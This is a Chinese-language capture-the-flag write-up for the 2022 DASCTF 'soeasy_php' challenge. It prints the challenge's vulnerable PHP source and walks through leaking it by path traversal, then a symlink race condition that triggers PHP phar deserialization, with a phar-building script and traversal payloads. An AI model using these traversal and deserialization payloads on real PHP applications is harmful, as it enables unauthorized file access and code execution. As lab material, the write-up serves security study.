[2022DASCTF APR X]soeasy_php

发布于 2023-11-06  79 次阅读


/赛后看atao师傅的题解才做出来的,太菜了。比赛时就做了前面一段/

打开环境映入眼帘的就是文件上传的形式

查看源代码发现还藏了一个更换头像的edit.php

image-20220425195245840

将png参数值改为../edit.php(目录穿越),并将更换头像按钮的注释符删除,点击更换头像图标

image-20220425212528794

稍等片刻后打开uploads/head.png查看源码,已经变成edit.php的代码,下载下来以便使用

image-20220425212912490

或者直接进入edit.php进行POST传参

png=../edit.php&flag=x

image-20220426192146713

然后访问uploads/head.png获得edit.php源码

  • edit.php

    <?php
    ini_set("error_reporting","0");
    class flag{
        public function copyflag(){
            exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
            echo "SFTQL";
        }
        public function __destruct(){
            $this->copyflag();
        }
    
    }
    
    function filewrite($file,$data){
            unlink($file);
            file_put_contents($file, $data);
    }
    
    
    if(isset($_POST['png'])){
        $filename = $_POST['png'];
        if(!preg_match("/:|phar|\/\/|php/im",$filename)){
            $f = fopen($filename,"r");
            $contents = fread($f, filesize($filename));
            if(strpos($contents,"flag{") !== false){
                filewrite($filename,"Don't give me flag!!!");
            }
        }
    
        if(isset($_POST['flag'])) {
            $flag = (string)$_POST['flag'];
            if ($flag == "Give me flag") {
                filewrite("/tmp/flag.txt", "Don't give me flag");
                sleep(2);
                die("no no no !");
            } else {
                filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
            }
            $head = "uploads/head.png";
            unlink($head);
            if (symlink($filename, $head)) {
                echo "成功更换头像";
            } else {
                unlink($filename);
                echo "非正常文件,已被删除";
            };
        }
    }
    
    

看一下源码,有一个flag类,在flag类被销毁时调用__destruct魔术方法,然后调用copyflag方法,将会运行copyflag程序,这个程序会将/flag中的内容复制进/tmp/flag.txt中,要用到phar协议

观察一下pngflag参数的处理,条件很多,这里参考atao师傅的做法

调用filewrite的地方都固定了文件名,这条路是走不通了,只能通过将symlink($filename, $head)返回值为false进入else语句来触发phar协议

symlink之前还有个unlink($head),需要用一下条件竞争

条件竞争语句只能有..//../../../../../../../tmp/flag.txtphar://uploads/xxxx.png两种,并且phar://uploads/xxxx.png只能是最后一个,因为需要传入flag参数才能进入第二段if语句中,而后传的flag又会覆盖掉/tmp/flag.txt的内容

前面都用..//../../../../../../../tmp/flag.txt是因为需要将/tmp/flag.txt链接head.png

这样才能从uploads/head.png中读取到flag。如果链接别的,在更换链接的时候又会被覆盖掉/tmp/flag.txt的内容

先制作phar.phar文件

<?php
class flag{}

$flag=new flag();

@unlink("phar.phar");
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->setMetadata($flag);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>

进入此php文件会在目录下生成phar.phar文件,将其上传至题目环境

burpsuite中抓包并使用爆破功能

image-20220426195922715

image-20220426195946747

出现这个提示就是成功了,多试几次

image-20220426200029895

然后进入uploads/head.png即可得到flag

image-20220426201105979

贴上atao师傅的博客atao’s Blog

/据说是非预期了/

这里再贴上一个我自己复现的环境供使用(仅供参考)moran’s files